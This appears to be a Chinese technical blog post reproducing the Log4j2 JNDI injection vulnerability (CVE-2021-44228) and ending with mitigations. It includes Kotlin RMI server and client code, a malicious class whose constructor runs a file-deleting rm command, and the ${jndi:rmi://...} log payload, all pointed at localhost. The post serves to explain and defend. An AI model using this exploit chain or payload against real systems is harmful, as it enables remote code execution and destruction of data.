教你如何丢核弹 - Log4j2漏洞

说起核弹,你可能会想到这样的↓

也可能是这样的↓

但是在今年的12月,它可能是这样的↓


在今年的12月,大家讨论最多的应该就是Log4j2的核弹级漏洞。

幸灾乐祸的人表示在使用 Logback。
劫后余生的人表示 ****。
流啤的人表示有JNDI防注入。

可能还有一部分人,脑袋上可能都是问号,
不知道是什么漏洞
为什么是核弹级的
怎么触发的
又要怎么规避呢

好的,我就属于脑袋上全是问号的这一类,
所以也实践复现了一把,
一起来看看如何“丢核弹”。

在实际操作之前,我们先来了解两个概念,
Log4j2 Lookups 和 JNDI。

Log4j2 Lookups

Lookups可以理解为一些特定类型的插件,这些插件实现了StrLookup接口,能够在Log4j配置中的特定位置写入指定数据。

如何识别到需要通过插件来解析并写入数据呢?
当遇到指定格式的内容时(通常是${ xxx }),就会进行判断。

举个栗子,插件中就包含JavaLookup,可以实现Java环境信息的注入,

1
2
3
4
5
<File name="Application" fileName="application.log">
  <PatternLayout header="${java:runtime} - ${java:vm} - ${java:os}">
    <Pattern>%d %m%n</Pattern>
  </PatternLayout>
</File>

这样就能在最终输出的日志头部,包含当前Java runtime、vm以及os环境信息。

官方提供的Lookups种类也不少,

每种Lookup都具有不同的功能,具体可以参考官方说明。
Log4j – Log4j 2 Lookups

那么,看上去只是一个作用于配置文件的扩展型模块,为什么会导致这么大的问题呢?

关键就在其中的一个扩展,JndiLookup。

JNDI

JNDI(Java Naming and Directory Interface, Java命名和目录接口)是SUN公司提供的一种标准的Java命令系统接口,服务供应商可以通过JNDI API映射为特定的名字及目录对外提供服务,服务使用者则可以通过服务地址及服务名进行使用。JNDI 可访问的现有目录及服务包括DNS、LDAP、RMI等。

JNDI主要分为三个层面:

模块 说明
JNDI API 用于和JAVA应用通信的上层API
Naming Manager 命名管理服务,统一管理下层服务供应商提供的服务
JNDI SPI 服务供应接口,由具体的服务供应商提供具体实现,例如RMI、LDAP等

通过JNDI可以对上层应用提供服务,以RMI为例看下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
RemoteApiInterface.java
public interface RemoteApiInterface extends Remote {

    public String execCommand(String command) throws RemoteException;

}

RemoteApi.kt
class RemoteApi: RemoteApiInterface, ObjectFactory {

    override fun execCommand(): String {
        return "success"
    }

    override fun getObjectInstance(obj: Any?, name: Name?, nameCtx: Context?, environment: Hashtable<*, *>?): Any? {
        return null
    }
}

RMIServer.kt
//创建服务中心,同时监听1099端口
val registry = LocateRegistry.createRegistry(1099)
//构建对象引用并进行包装
val reference = Reference("RemoteApi", "priv.test.log4j2.RemoteApi", null)
val wrapper = ReferenceWrapper(reference)
//服务中心绑定对象引用,命名为remote
registry.bind("remote", wrapper)

RMIClient.kt
//获取远程服务中心
val registry = LocateRegistry.getRegistry("127.0.0.1", 1099)
//搜索名为remote的服务
val remote = registry.lookup("remote") as RemoteApiInterface
//调用remote的execCommand方法,输出结果
println(remote.execCommand())

整个流程很简单,

  1. 服务供应商构建了一个远程服务,服务包装了一个引用对象
  2. 通过服务中心对外暴露远程服务,并命名为 remote
  3. 客户端获取服务中心,搜索并获取名为 remote 的服务
  4. 调用remote服务的execCommand方法
  5. 最终输出success

那么问题来了,JDNI为何和这次的漏洞有关?
别着急,先来了解另外一个东西,
JNDI注入

JNDI注入

看上去JNDI只是定义了一套标准接口,服务供应商能对外提供服务,但是这个过程中是存在一定的安全风险的。

在2016年的BlackHat上,pentester 有提到过一个议题《 A Journey From JNDI LDAP Manipulation To RCE》,介绍了Java中利用 JNDI 的协议动态转化注入加载远程代码,从而实现RCE的方法。

要进行注入攻击,需要满足以下几个条件:

  1. JNDI 调用中的lookup()参数可控
  2. 使用带协议的 URI 进行动态协议转换
  3. 构建远程服务实例,在客户端获取远程服务实例信息并进行初始化时,触发攻击

以刚才的RMIClient.kt为例,我们略作修改,

1
2
3
4
5
6
7
//收集用户输入信息
val inputScanner = Scanner(System.`in`)
val userInput = inputScanner.next()

//用户输入信息触发lookup查找远程服务
val initialContext = InitialContext()
initialContext.lookup(userInput)

这样首先满足第一个,lookup()参数由用户决定。同时,业务逻辑中包含方法可以通过带协议URI触发远程服务查询,在本例中,我们输入rmi://127.0.0.1:1099/remote,就会将服务供应商提供的RemoteApi类信息传递到客户端本地,并构建服务实例。

走到这一步,你可能也会有疑问,
只是获取了服务实例并初始化,并未做方法调用,要怎么触发攻击呢?

这就回归到Java类首次加载时流程,
除了加载基础的类信息,同时会对类中的静态变量、代码块进行初始化,然后初始化普通变量,调用构造函数。

想到了吗,
关键就在静态代码块和构造函数,
在首次类加载并进行实例化的时候会进行调用。

我们对RemoteApi.kt进行略微修改,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
RemoteApi.kt
class RemoteApi: RemoteApiInterface, ObjectFactory {

	  constructor() {
        Runtime.getRuntime().exec("rm /Users/mmq/Temporary/data")
    }

    override fun execCommand(): String {
        return "success"
    }

    override fun getObjectInstance(obj: Any?, name: Name?, nameCtx: Context?, environment: Hashtable<*, *>?): Any? {
        return null
    }
}

我们在构造函数中,通过Java Application Runtime执行命令rm,下图为执行前后的结果。

执行前data文件还在,执行后就被删除了。

由此可以看出,一旦JNDI注入成功,产生的后果是很可怕的,基本可以在受害者机器上执行任意操作。

Log4j2 漏洞

看到这里,可能还是没能解决你心里的疑惑,
这一切和Log4j2有什么关系呢,
虽然JNDI注入可以实现攻击,
但是除非我自己在日志配置文件里引入了JNDILookups,
否则也无法对注入的JNDI URI协议进行转换和解析对吧?

那么触发核弹的按钮究竟在哪?
很简单,
输出一条日志就可以了。

我们来修改一下RMIClient.kt,全部的代码如下:

1
2
3
4
5
6
7
8
9
//构建日志Logger
val logger = LogManager.getLogger()

//收集用户输入信息
val inputScanner = Scanner(System.`in`)
val userInput = inputScanner.next()

//通过logger输出用户输入内容
logger.info(userInput)

在客户端,我们输入${jndi:rmi://127.0.0.1:1099/remote},下图为执行结果。

在这段例子中,我们不再显式查找对应的JNDI RMI服务,只是输出了一条日志,同样触发了攻击。

这是为什么呢?

核弹的按钮

从上面的例子来看,
只是简单的做了日志输出,
为什么会触发攻击呢?

其实关键动作就触发在 Log4j2 输出日志的过程中。
在输出日志的 Message Body (%m/%msg)时, MessagePatternConverter会进行消息格式化,会使用StrSubstitutorsubstitute(...)方法,当判断发现变量以${作为前缀,并以}作为后缀时,就会进入字符串替换逻辑,最终进入resolveVariable(...)进行变量解析,其中解析器就包含了JNDILookup。

完整的调用栈如下:

所以,当在输出日志时,如果发现${...}格式的内容时,就会进行Lookup解析,我们注入的JNDI RMI就会被触发,从远程服务供应商获取服务并实例化,触发攻击。

如何避免被攻击

  1. 升级Log4j2,官方发布了最新的2.15版本可以解决这个问题。
    (实测2.15.0已经修复,从Maven仓库中心看到的漏洞列表来看,也没有了CVE-2021-44228)
  2. 修改log4j2配置,关闭MessageLookup,对于JAVA项目,可以直接在启动参数上添加-Dlog4j2.formatMsgNoLookups=true
    (实测有效,关闭log4j2的Message Body的lookups解析)
  3. 防火墙,类似阿里云WAF等防火墙都具备防注入的功能
  4. JAVA Agent 改写,也是集团平台在用的方法。在类加载的过程中识别到JNIManager并进行改写,避免JNILookups解析。

写在最后

其实在我自己复现这个漏洞之前,是没有意识到问题的严重性的,Log4j2作为JAVA生态中的基础组件,影响范围也非常的大。
安全问题不容小觑。